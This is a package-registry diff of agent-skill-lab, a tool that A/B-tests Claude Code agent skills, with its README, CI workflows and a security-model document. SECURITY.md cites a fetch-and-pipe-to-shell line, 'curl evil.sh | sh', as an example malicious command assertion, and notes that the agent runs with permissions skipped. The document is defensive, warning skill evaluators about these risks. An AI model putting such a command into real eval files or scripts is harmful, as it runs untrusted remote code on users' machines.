agent-skill-lab 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (42) hide show
  1. agent_skill_lab-0.1.0/.gitattributes +1 -0
  2. agent_skill_lab-0.1.0/.github/workflows/ci.yml +27 -0
  3. agent_skill_lab-0.1.0/.github/workflows/release.yml +25 -0
  4. agent_skill_lab-0.1.0/.gitignore +21 -0
  5. agent_skill_lab-0.1.0/LICENSE +21 -0
  6. agent_skill_lab-0.1.0/PKG-INFO +278 -0
  7. agent_skill_lab-0.1.0/README.md +266 -0
  8. agent_skill_lab-0.1.0/SECURITY.md +40 -0
  9. agent_skill_lab-0.1.0/examples/ci/skill-eval.yml +65 -0
  10. agent_skill_lab-0.1.0/examples/error-handling/.agent-skill/history.jsonl +1 -0
  11. agent_skill_lab-0.1.0/examples/error-handling/SKILL.md +44 -0
  12. agent_skill_lab-0.1.0/examples/error-handling/evals/evals.yaml +13 -0
  13. agent_skill_lab-0.1.0/examples/error-handling/evals/fixtures/task-001/src/calc.py +9 -0
  14. agent_skill_lab-0.1.0/examples/error-handling/evals/fixtures/task-001/tests/test_calc.py +22 -0
  15. agent_skill_lab-0.1.0/examples/error-handling/evals/task-001.yaml +27 -0
  16. agent_skill_lab-0.1.0/examples/sql-parameterization/SKILL.md +38 -0
  17. agent_skill_lab-0.1.0/examples/sql-parameterization/evals/evals.yaml +14 -0
  18. agent_skill_lab-0.1.0/examples/sql-parameterization/evals/fixtures/task-001/src/db.py +18 -0
  19. agent_skill_lab-0.1.0/examples/sql-parameterization/evals/fixtures/task-001/tests/test_db.py +26 -0
  20. agent_skill_lab-0.1.0/examples/sql-parameterization/evals/task-001.yaml +32 -0
  21. agent_skill_lab-0.1.0/examples/type-hints/SKILL.md +42 -0
  22. agent_skill_lab-0.1.0/examples/type-hints/evals/evals.yaml +12 -0
  23. agent_skill_lab-0.1.0/examples/type-hints/evals/fixtures/task-001/src/report.py +5 -0
  24. agent_skill_lab-0.1.0/examples/type-hints/evals/fixtures/task-001/tests/test_report.py +14 -0
  25. agent_skill_lab-0.1.0/examples/type-hints/evals/task-001.yaml +31 -0
  26. agent_skill_lab-0.1.0/pyproject.toml +24 -0
  27. agent_skill_lab-0.1.0/src/agent_skill_lab/__init__.py +3 -0
  28. agent_skill_lab-0.1.0/src/agent_skill_lab/assertions.py +168 -0
  29. agent_skill_lab-0.1.0/src/agent_skill_lab/cli.py +216 -0
  30. agent_skill_lab-0.1.0/src/agent_skill_lab/config.py +258 -0
  31. agent_skill_lab-0.1.0/src/agent_skill_lab/reporter.py +194 -0
  32. agent_skill_lab-0.1.0/src/agent_skill_lab/runner.py +365 -0
  33. agent_skill_lab-0.1.0/src/agent_skill_lab/scaffold.py +107 -0
  34. agent_skill_lab-0.1.0/src/agent_skill_lab/scoring.py +253 -0
  35. agent_skill_lab-0.1.0/src/agent_skill_lab/storage.py +101 -0
  36. agent_skill_lab-0.1.0/src/agent_skill_lab/validator.py +215 -0
  37. agent_skill_lab-0.1.0/tests/test_assertions.py +106 -0
  38. agent_skill_lab-0.1.0/tests/test_integration.py +192 -0
  39. agent_skill_lab-0.1.0/tests/test_regressions.py +129 -0
  40. agent_skill_lab-0.1.0/tests/test_runner.py +95 -0
  41. agent_skill_lab-0.1.0/tests/test_scoring.py +104 -0
  42. agent_skill_lab-0.1.0/tests/test_validator.py +71 -0
@@ -0,0 +1 @@
1
+ * text=auto eol=lf
@@ -0,0 +1,27 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+
8
+ jobs:
9
+ test:
10
+ strategy:
11
+ fail-fast: false
12
+ matrix:
13
+ os: [ubuntu-latest, windows-latest, macos-latest]
14
+ python: ["3.10", "3.11", "3.12"]
15
+ runs-on: ${{ matrix.os }}
16
+ steps:
17
+ - uses: actions/checkout@v4
18
+ - uses: actions/setup-python@v5
19
+ with:
20
+ python-version: ${{ matrix.python }}
21
+ - name: Install
22
+ run: pip install -e ".[dev]"
23
+ - name: Test
24
+ # The suite is hermetic: it stubs the agent, so no ANTHROPIC_API_KEY or
25
+ # claude CLI is needed. This is the real cross-platform proof, Linux
26
+ # included, that the runner, assertions, and stats work everywhere.
27
+ run: python -m pytest -q
@@ -0,0 +1,25 @@
1
+ name: Release to PyPI
2
+
3
+ # Publishes on a version tag (e.g. v0.1.0). Uses PyPI Trusted Publishing
4
+ # (OIDC) — configure the publisher at pypi.org first; no token secret needed.
5
+ on:
6
+ push:
7
+ tags: ["v*"]
8
+
9
+ jobs:
10
+ build-and-publish:
11
+ runs-on: ubuntu-latest
12
+ environment: pypi
13
+ permissions:
14
+ id-token: write # for trusted publishing
15
+ steps:
16
+ - uses: actions/checkout@v4
17
+ - uses: actions/setup-python@v5
18
+ with:
19
+ python-version: "3.11"
20
+ - name: Build
21
+ run: |
22
+ pip install build
23
+ python -m build
24
+ - name: Publish
25
+ uses: pypa/gh-action-pypi-publish@release/v1
@@ -0,0 +1,21 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ *.egg-info/
4
+ build/
5
+ dist/
6
+ .pytest_cache/
7
+ .venv/
8
+ venv/
9
+
10
+ # Benchmark output lives inside each skill directory.
11
+ **/.agent-skill/runs/
12
+
13
+ # Third-party agent skills installed via `npx skills add` (e.g. strix).
14
+ .agents/
15
+ .claude/
16
+
17
+ # strix lockfile from npx skills add
18
+ skills-lock.json
19
+
20
+ # build artifacts
21
+ dist/
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Elfan
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,278 @@
1
+ Metadata-Version: 2.5
2
+ Name: agent-skill-lab
3
+ Version: 0.1.0
4
+ Summary: Reproducible testing, benchmarking, and regression testing for Agent Skills.
5
+ License: MIT
6
+ License-File: LICENSE
7
+ Requires-Python: >=3.10
8
+ Requires-Dist: pyyaml>=6.0
9
+ Provides-Extra: dev
10
+ Requires-Dist: pytest>=7.0; extra == 'dev'
11
+ Description-Content-Type: text/markdown
12
+
13
+ # Agent Skill Lab
14
+
15
+ Reproducible A/B testing for Agent Skills.
16
+
17
+ A `SKILL.md` is a prompt you ship to other people. This tool answers the only
18
+ question that matters about one: **does it actually make the agent better, or
19
+ does it just feel like it does?**
20
+
21
+ It runs the same task twice — once with a baseline agent, once with the skill
22
+ installed — repeats that N times, checks the results with deterministic
23
+ assertions, and reports the difference with a confidence interval attached.
24
+
25
+ ```
26
+ Without With
27
+ Task success 50% 100%
28
+ Assertion score 0.83 1.00
29
+ Tokens 8,700 7,100
30
+ Time 55s 41s
31
+
32
+ IMPACT (95% bootstrap CI on the delta)
33
+
34
+ Task success +50.0pp [+20.0, +80.0] p=0.033
35
+ ~ Tokens -23.0% [-41.2%, +2.1%]
36
+
37
+ CONFIDENCE MEDIUM (N=5 per condition)
38
+ ~ marks a delta not distinguishable from run-to-run noise.
39
+
40
+ PER TASK (success rate)
41
+
42
+ task-001 0% 100%
43
+ task-002 100% 100%
44
+ ```
45
+
46
+ The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
47
+ task is a different finding from one spread across all of them.
48
+
49
+ ## Install
50
+
51
+ ```bash
52
+ pip install agent-skill-lab
53
+ ```
54
+
55
+ Or from a clone: `pip install -e .`
56
+
57
+ Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
58
+ CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
59
+ three across Python 3.10–3.12). Verify the agent side works before benchmarking
60
+ anything:
61
+
62
+ ```bash
63
+ claude -p "reply with OK" --output-format json
64
+ ```
65
+
66
+ If that returns `"Failed to authenticate"`, log in first — every run in this tool
67
+ shells out to that same command.
68
+
69
+ ## Use
70
+
71
+ ```bash
72
+ agent-skill init my-skill # scaffold SKILL.md + evals/
73
+ agent-skill validate my-skill # static checks, no tokens spent
74
+ agent-skill test my-skill # the A/B benchmark
75
+ agent-skill report my-skill # re-render the last run
76
+ ```
77
+
78
+ ### 1. Validate
79
+
80
+ Runs before every benchmark, and refuses to spend tokens on a broken suite.
81
+
82
+ ```
83
+ [ok] SKILL.md exists
84
+ [ok] valid YAML frontmatter
85
+ [ok] frontmatter has 'name'
86
+ [ok] frontmatter has 'description'
87
+ [ok] referenced files exist (2/2)
88
+ [ok] [task-001] prompt is customised, not the scaffold placeholder
89
+ [warn] model 'sonnet' is a pinned version (aliases drift between releases)
90
+ ```
91
+
92
+ ### 2. Write eval tasks
93
+
94
+ ```yaml
95
+ id: task-001
96
+ name: Make calc errors typed
97
+
98
+ prompt: |
99
+ The test suite in tests/ fails. Fix src/calc.py so every test passes.
100
+ Do not modify anything under tests/.
101
+
102
+ fixture: fixtures/task-001
103
+
104
+ assertions:
105
+ - type: command # did it solve the task?
106
+ run: "python -m pytest -q"
107
+ expect_exit: 0
108
+
109
+ - type: file_contains # did it follow the convention the skill teaches?
110
+ path: src/calc.py
111
+ pattern: "raise CalcError\\([^)]*code="
112
+
113
+ - type: file_unchanged # anti-gaming: editing the tests does not count
114
+ path: tests/test_calc.py
115
+ ```
116
+
117
+ Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
118
+ `file_changed`, `file_unchanged`.
119
+
120
+ Before burning tokens, check two things — neither spends a cent:
121
+
122
+ ```bash
123
+ agent-skill test my-skill --dry-run # can the suite even measure work?
124
+ agent-skill test my-skill --estimate # what will a real run cost?
125
+ ```
126
+
127
+ `--dry-run` runs the assertions against the untouched fixture. Anything that
128
+ passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
129
+ nothing. (Assertions that check for the *absence* of something — `file_absent`,
130
+ `file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
131
+ correctly pass on the pristine fixture.)
132
+
133
+ `--estimate` projects cost and wall time as a range. With no history it is a
134
+ coarse prior; after one real run it uses your own recorded per-run cost. A real
135
+ `test` prints the estimate first, then runs.
136
+
137
+ ### 3. Benchmark
138
+
139
+ ```bash
140
+ agent-skill test my-skill -n 10
141
+ ```
142
+
143
+ ## How it works
144
+
145
+ Per run:
146
+
147
+ 1. The task fixture is copied into a throwaway temp directory.
148
+ 2. That directory is `git init`-ed and committed, which is what makes
149
+ `file_changed` / `file_unchanged` assertions possible.
150
+ 3. In the **with-skill** condition only, the skill is copied to
151
+ `.claude/skills/<name>/` inside that workspace. The `evals/` directory is
152
+ excluded — leaking it would hand the agent its own grading criteria.
153
+ 4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
154
+ with `--setting-sources project`. (Note: in practice this does not fully hide
155
+ your personal `~/.claude` skills — see "Known gap" above. They appear in both
156
+ conditions, so the delta stays attributable to the skill under test.)
157
+ 5. Assertions run against the resulting workspace; tokens, cost and wall time
158
+ come from the agent's own JSON result.
159
+ 6. The workspace is deleted (`--keep-workspace` to inspect it).
160
+
161
+ Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
162
+ invocation appended to `<skill>/.agent-skill/history.jsonl`.
163
+
164
+ ## Design decisions worth knowing
165
+
166
+ **No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
167
+ LLM grader adds a second noisy component on top of an already noisy agent, and
168
+ you can no longer tell which one moved. Quality rubrics are a later addition,
169
+ not the foundation.
170
+
171
+ **Every delta carries an uncertainty estimate.** Agent runs are
172
+ non-deterministic; the same prompt gives different token counts and sometimes
173
+ different outcomes. A single number invites false regression alarms. Anything
174
+ not separable from noise is printed with `~` and called inconclusive.
175
+
176
+ **Task success is judged by Fisher's exact test, not by the bootstrap.** This
177
+ was not the original design — it was forced by testing the tool against a
178
+ deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
179
+ bootstrap called that a *conclusive regression* on the first attempt: five
180
+ Bernoulli samples per condition is exactly the regime where it is
181
+ anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
182
+ problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
183
+ p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
184
+ same 0.05 threshold.
185
+
186
+ **Secondary metrics are not corrected for multiple comparisons.** Five metrics
187
+ per report at a 5% threshold means roughly one report in seven contains a
188
+ secondary claim that is not real. The report says so out loud when it makes one
189
+ below N=10, rather than letting you believe all five numbers equally.
190
+
191
+ **Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
192
+ verdict. The tool will not pretend five runs are evidence — at N=1 it reports
193
+ the observed delta and then explicitly refuses to conclude from it.
194
+
195
+ **Pin your model.** `model: sonnet` is an alias that moves between releases. A
196
+ comparison against a run from last month is meaningless if the model changed
197
+ underneath it. `validate` warns about this.
198
+
199
+ **The baseline carries Claude Code's bundled skills.** They appear in both
200
+ conditions, so the delta stays attributable to the skill under test, and they
201
+ are identical across installs of the same version. `isolation: bare` removes
202
+ them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
203
+
204
+ **This is decision support, not an oracle.** `--strict` exists for CI, but
205
+ consider making the CI job a warning rather than a hard block, and gate it on
206
+ `SKILL.md` actually having changed — every invocation spends real tokens.
207
+ `N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
208
+ is free.
209
+
210
+ ## Examples
211
+
212
+ Three complete, runnable skills live in `examples/`, each mixing a "did it
213
+ work" command assertion with a "did it the right way" content assertion:
214
+
215
+ | Skill | Domain | The convention it checks |
216
+ |---|---|---|
217
+ | `error-handling` | code style | raises carry a machine-readable `code=` |
218
+ | `sql-parameterization` | security | queries use placeholders, never f-strings |
219
+ | `type-hints` | typing | functions get annotated params + return type |
220
+
221
+ ```bash
222
+ agent-skill validate examples/sql-parameterization
223
+ agent-skill test examples/sql-parameterization --dry-run
224
+ agent-skill test examples/sql-parameterization --estimate
225
+ agent-skill test examples/sql-parameterization -n 5
226
+ ```
227
+
228
+ Each is built so the difference is visible: a baseline agent usually makes the
229
+ tests pass, but only the skilled agent reliably follows the convention. "Tests
230
+ pass" and "did it the right way" are different questions — which is exactly why
231
+ a single assertion is not enough.
232
+
233
+ ## CI
234
+
235
+ `examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
236
+ `SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
237
+ failing the build.
238
+
239
+ ## Validated against a live agent
240
+
241
+ Run end-to-end against the real `claude` CLI, not just a stub. Two things the
242
+ example run demonstrated, both worth internalising before you trust any number:
243
+
244
+ - **A lucky small sample lies, and the tool catches it.** At N=3 the example
245
+ skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
246
+ same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
247
+ inconsistent; three runs happened to catch a good streak. A tool that reports
248
+ one number would have published "+100% success". This one reported "not
249
+ distinguishable from noise" and asked for more runs. That is the whole point.
250
+
251
+ - **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
252
+ by the agent but only *used* when its description matches the task. The prompt
253
+ "make the tests pass" did not trigger an error-handling skill; "add proper
254
+ error handling following this project's conventions" did. Your eval prompt is
255
+ a real variable — the same skill looks useless or useful depending on it.
256
+
257
+ Baseline isolation, found in the same run: the headless agent always sees the
258
+ skills that ship with Claude Code (design, code-review, …). They are **not** your
259
+ personal `~/.claude` skills — they are bundled with the install, so they are the
260
+ same for anyone on the same Claude Code version, and they appear in *both*
261
+ conditions, cancelling out of the delta. For a true clean-room baseline set
262
+ `isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
263
+ `ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
264
+ keeps the bundled skills and works with OAuth.
265
+
266
+ ## Status
267
+
268
+ MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
269
+ `--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
270
+ Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
271
+
272
+ Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
273
+ command (the history file it needs is already being written), cross-agent
274
+ `benchmark`, and `audit` for skill security.
275
+
276
+ ## License
277
+
278
+ MIT
@@ -0,0 +1,266 @@
1
+ # Agent Skill Lab
2
+
3
+ Reproducible A/B testing for Agent Skills.
4
+
5
+ A `SKILL.md` is a prompt you ship to other people. This tool answers the only
6
+ question that matters about one: **does it actually make the agent better, or
7
+ does it just feel like it does?**
8
+
9
+ It runs the same task twice — once with a baseline agent, once with the skill
10
+ installed — repeats that N times, checks the results with deterministic
11
+ assertions, and reports the difference with a confidence interval attached.
12
+
13
+ ```
14
+ Without With
15
+ Task success 50% 100%
16
+ Assertion score 0.83 1.00
17
+ Tokens 8,700 7,100
18
+ Time 55s 41s
19
+
20
+ IMPACT (95% bootstrap CI on the delta)
21
+
22
+ Task success +50.0pp [+20.0, +80.0] p=0.033
23
+ ~ Tokens -23.0% [-41.2%, +2.1%]
24
+
25
+ CONFIDENCE MEDIUM (N=5 per condition)
26
+ ~ marks a delta not distinguishable from run-to-run noise.
27
+
28
+ PER TASK (success rate)
29
+
30
+ task-001 0% 100%
31
+ task-002 100% 100%
32
+ ```
33
+
34
+ The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
35
+ task is a different finding from one spread across all of them.
36
+
37
+ ## Install
38
+
39
+ ```bash
40
+ pip install agent-skill-lab
41
+ ```
42
+
43
+ Or from a clone: `pip install -e .`
44
+
45
+ Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
46
+ CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
47
+ three across Python 3.10–3.12). Verify the agent side works before benchmarking
48
+ anything:
49
+
50
+ ```bash
51
+ claude -p "reply with OK" --output-format json
52
+ ```
53
+
54
+ If that returns `"Failed to authenticate"`, log in first — every run in this tool
55
+ shells out to that same command.
56
+
57
+ ## Use
58
+
59
+ ```bash
60
+ agent-skill init my-skill # scaffold SKILL.md + evals/
61
+ agent-skill validate my-skill # static checks, no tokens spent
62
+ agent-skill test my-skill # the A/B benchmark
63
+ agent-skill report my-skill # re-render the last run
64
+ ```
65
+
66
+ ### 1. Validate
67
+
68
+ Runs before every benchmark, and refuses to spend tokens on a broken suite.
69
+
70
+ ```
71
+ [ok] SKILL.md exists
72
+ [ok] valid YAML frontmatter
73
+ [ok] frontmatter has 'name'
74
+ [ok] frontmatter has 'description'
75
+ [ok] referenced files exist (2/2)
76
+ [ok] [task-001] prompt is customised, not the scaffold placeholder
77
+ [warn] model 'sonnet' is a pinned version (aliases drift between releases)
78
+ ```
79
+
80
+ ### 2. Write eval tasks
81
+
82
+ ```yaml
83
+ id: task-001
84
+ name: Make calc errors typed
85
+
86
+ prompt: |
87
+ The test suite in tests/ fails. Fix src/calc.py so every test passes.
88
+ Do not modify anything under tests/.
89
+
90
+ fixture: fixtures/task-001
91
+
92
+ assertions:
93
+ - type: command # did it solve the task?
94
+ run: "python -m pytest -q"
95
+ expect_exit: 0
96
+
97
+ - type: file_contains # did it follow the convention the skill teaches?
98
+ path: src/calc.py
99
+ pattern: "raise CalcError\\([^)]*code="
100
+
101
+ - type: file_unchanged # anti-gaming: editing the tests does not count
102
+ path: tests/test_calc.py
103
+ ```
104
+
105
+ Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
106
+ `file_changed`, `file_unchanged`.
107
+
108
+ Before burning tokens, check two things — neither spends a cent:
109
+
110
+ ```bash
111
+ agent-skill test my-skill --dry-run # can the suite even measure work?
112
+ agent-skill test my-skill --estimate # what will a real run cost?
113
+ ```
114
+
115
+ `--dry-run` runs the assertions against the untouched fixture. Anything that
116
+ passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
117
+ nothing. (Assertions that check for the *absence* of something — `file_absent`,
118
+ `file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
119
+ correctly pass on the pristine fixture.)
120
+
121
+ `--estimate` projects cost and wall time as a range. With no history it is a
122
+ coarse prior; after one real run it uses your own recorded per-run cost. A real
123
+ `test` prints the estimate first, then runs.
124
+
125
+ ### 3. Benchmark
126
+
127
+ ```bash
128
+ agent-skill test my-skill -n 10
129
+ ```
130
+
131
+ ## How it works
132
+
133
+ Per run:
134
+
135
+ 1. The task fixture is copied into a throwaway temp directory.
136
+ 2. That directory is `git init`-ed and committed, which is what makes
137
+ `file_changed` / `file_unchanged` assertions possible.
138
+ 3. In the **with-skill** condition only, the skill is copied to
139
+ `.claude/skills/<name>/` inside that workspace. The `evals/` directory is
140
+ excluded — leaking it would hand the agent its own grading criteria.
141
+ 4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
142
+ with `--setting-sources project`. (Note: in practice this does not fully hide
143
+ your personal `~/.claude` skills — see "Known gap" above. They appear in both
144
+ conditions, so the delta stays attributable to the skill under test.)
145
+ 5. Assertions run against the resulting workspace; tokens, cost and wall time
146
+ come from the agent's own JSON result.
147
+ 6. The workspace is deleted (`--keep-workspace` to inspect it).
148
+
149
+ Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
150
+ invocation appended to `<skill>/.agent-skill/history.jsonl`.
151
+
152
+ ## Design decisions worth knowing
153
+
154
+ **No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
155
+ LLM grader adds a second noisy component on top of an already noisy agent, and
156
+ you can no longer tell which one moved. Quality rubrics are a later addition,
157
+ not the foundation.
158
+
159
+ **Every delta carries an uncertainty estimate.** Agent runs are
160
+ non-deterministic; the same prompt gives different token counts and sometimes
161
+ different outcomes. A single number invites false regression alarms. Anything
162
+ not separable from noise is printed with `~` and called inconclusive.
163
+
164
+ **Task success is judged by Fisher's exact test, not by the bootstrap.** This
165
+ was not the original design — it was forced by testing the tool against a
166
+ deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
167
+ bootstrap called that a *conclusive regression* on the first attempt: five
168
+ Bernoulli samples per condition is exactly the regime where it is
169
+ anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
170
+ problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
171
+ p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
172
+ same 0.05 threshold.
173
+
174
+ **Secondary metrics are not corrected for multiple comparisons.** Five metrics
175
+ per report at a 5% threshold means roughly one report in seven contains a
176
+ secondary claim that is not real. The report says so out loud when it makes one
177
+ below N=10, rather than letting you believe all five numbers equally.
178
+
179
+ **Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
180
+ verdict. The tool will not pretend five runs are evidence — at N=1 it reports
181
+ the observed delta and then explicitly refuses to conclude from it.
182
+
183
+ **Pin your model.** `model: sonnet` is an alias that moves between releases. A
184
+ comparison against a run from last month is meaningless if the model changed
185
+ underneath it. `validate` warns about this.
186
+
187
+ **The baseline carries Claude Code's bundled skills.** They appear in both
188
+ conditions, so the delta stays attributable to the skill under test, and they
189
+ are identical across installs of the same version. `isolation: bare` removes
190
+ them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
191
+
192
+ **This is decision support, not an oracle.** `--strict` exists for CI, but
193
+ consider making the CI job a warning rather than a hard block, and gate it on
194
+ `SKILL.md` actually having changed — every invocation spends real tokens.
195
+ `N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
196
+ is free.
197
+
198
+ ## Examples
199
+
200
+ Three complete, runnable skills live in `examples/`, each mixing a "did it
201
+ work" command assertion with a "did it the right way" content assertion:
202
+
203
+ | Skill | Domain | The convention it checks |
204
+ |---|---|---|
205
+ | `error-handling` | code style | raises carry a machine-readable `code=` |
206
+ | `sql-parameterization` | security | queries use placeholders, never f-strings |
207
+ | `type-hints` | typing | functions get annotated params + return type |
208
+
209
+ ```bash
210
+ agent-skill validate examples/sql-parameterization
211
+ agent-skill test examples/sql-parameterization --dry-run
212
+ agent-skill test examples/sql-parameterization --estimate
213
+ agent-skill test examples/sql-parameterization -n 5
214
+ ```
215
+
216
+ Each is built so the difference is visible: a baseline agent usually makes the
217
+ tests pass, but only the skilled agent reliably follows the convention. "Tests
218
+ pass" and "did it the right way" are different questions — which is exactly why
219
+ a single assertion is not enough.
220
+
221
+ ## CI
222
+
223
+ `examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
224
+ `SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
225
+ failing the build.
226
+
227
+ ## Validated against a live agent
228
+
229
+ Run end-to-end against the real `claude` CLI, not just a stub. Two things the
230
+ example run demonstrated, both worth internalising before you trust any number:
231
+
232
+ - **A lucky small sample lies, and the tool catches it.** At N=3 the example
233
+ skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
234
+ same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
235
+ inconsistent; three runs happened to catch a good streak. A tool that reports
236
+ one number would have published "+100% success". This one reported "not
237
+ distinguishable from noise" and asked for more runs. That is the whole point.
238
+
239
+ - **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
240
+ by the agent but only *used* when its description matches the task. The prompt
241
+ "make the tests pass" did not trigger an error-handling skill; "add proper
242
+ error handling following this project's conventions" did. Your eval prompt is
243
+ a real variable — the same skill looks useless or useful depending on it.
244
+
245
+ Baseline isolation, found in the same run: the headless agent always sees the
246
+ skills that ship with Claude Code (design, code-review, …). They are **not** your
247
+ personal `~/.claude` skills — they are bundled with the install, so they are the
248
+ same for anyone on the same Claude Code version, and they appear in *both*
249
+ conditions, cancelling out of the delta. For a true clean-room baseline set
250
+ `isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
251
+ `ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
252
+ keeps the bundled skills and works with OAuth.
253
+
254
+ ## Status
255
+
256
+ MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
257
+ `--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
258
+ Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
259
+
260
+ Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
261
+ command (the history file it needs is already being written), cross-agent
262
+ `benchmark`, and `audit` for skill security.
263
+
264
+ ## License
265
+
266
+ MIT
@@ -0,0 +1,40 @@
1
+ # Security model
2
+
3
+ This tool runs an eval suite authored by a **skill author** against a benchmark
4
+ harness run by a **skill evaluator**. Those are frequently not the same person:
5
+ the whole point is to test skills before trusting them, and
6
+ [research on Agent Skills](https://arxiv.org/abs/2510.02508) has confirmed
7
+ malicious skills in the wild. So the eval suite (`task.yaml`) is treated as
8
+ attacker-controlled input.
9
+
10
+ ## What is contained
11
+
12
+ - **Assertion file paths** (`file_exists`, `file_contains`, `file_changed`, …)
13
+ are confined to the per-run workspace. A `path:` containing `..` or an
14
+ absolute path is refused, not resolved against the host. This was a real
15
+ finding, fixed in `assertions.py::_confine`; see
16
+ `tests/test_assertions.py::test_path_traversal_is_refused`.
17
+
18
+ - **The skill's `evals/` directory is never copied** into the agent's
19
+ workspace, so a skill cannot read its own grading criteria.
20
+
21
+ ## What is NOT contained — read before testing a skill you did not write
22
+
23
+ - **`command` assertions execute on the host**, with `shell=True`, with your
24
+ privileges. A malicious suite can put `run: "curl evil.sh | sh"` in a
25
+ `command` assertion and it will run when you benchmark it. This is inherent to
26
+ running test commands at all, and the tool does not sandbox them. `validate`
27
+ prints a warning naming every task that contains a command assertion.
28
+
29
+ **Mitigation:** read a downloaded skill's `evals/*.yaml` before
30
+ `agent-skill test`, exactly as you would read a `Makefile` or `conftest.py`
31
+ before running it. For untrusted skills, run inside a container or VM.
32
+
33
+ - **The agent itself runs with `--dangerously-skip-permissions`** inside the
34
+ workspace, because a benchmark cannot stop for interactive approval. The
35
+ workspace is a throwaway temp copy, but the agent process still runs on the
36
+ host.
37
+
38
+ A future `audit` command (static scan of a skill for suspicious shell commands,
39
+ credential access, and network egress before you ever run it) is the planned
40
+ answer to the untrusted-skill case. It is not built yet.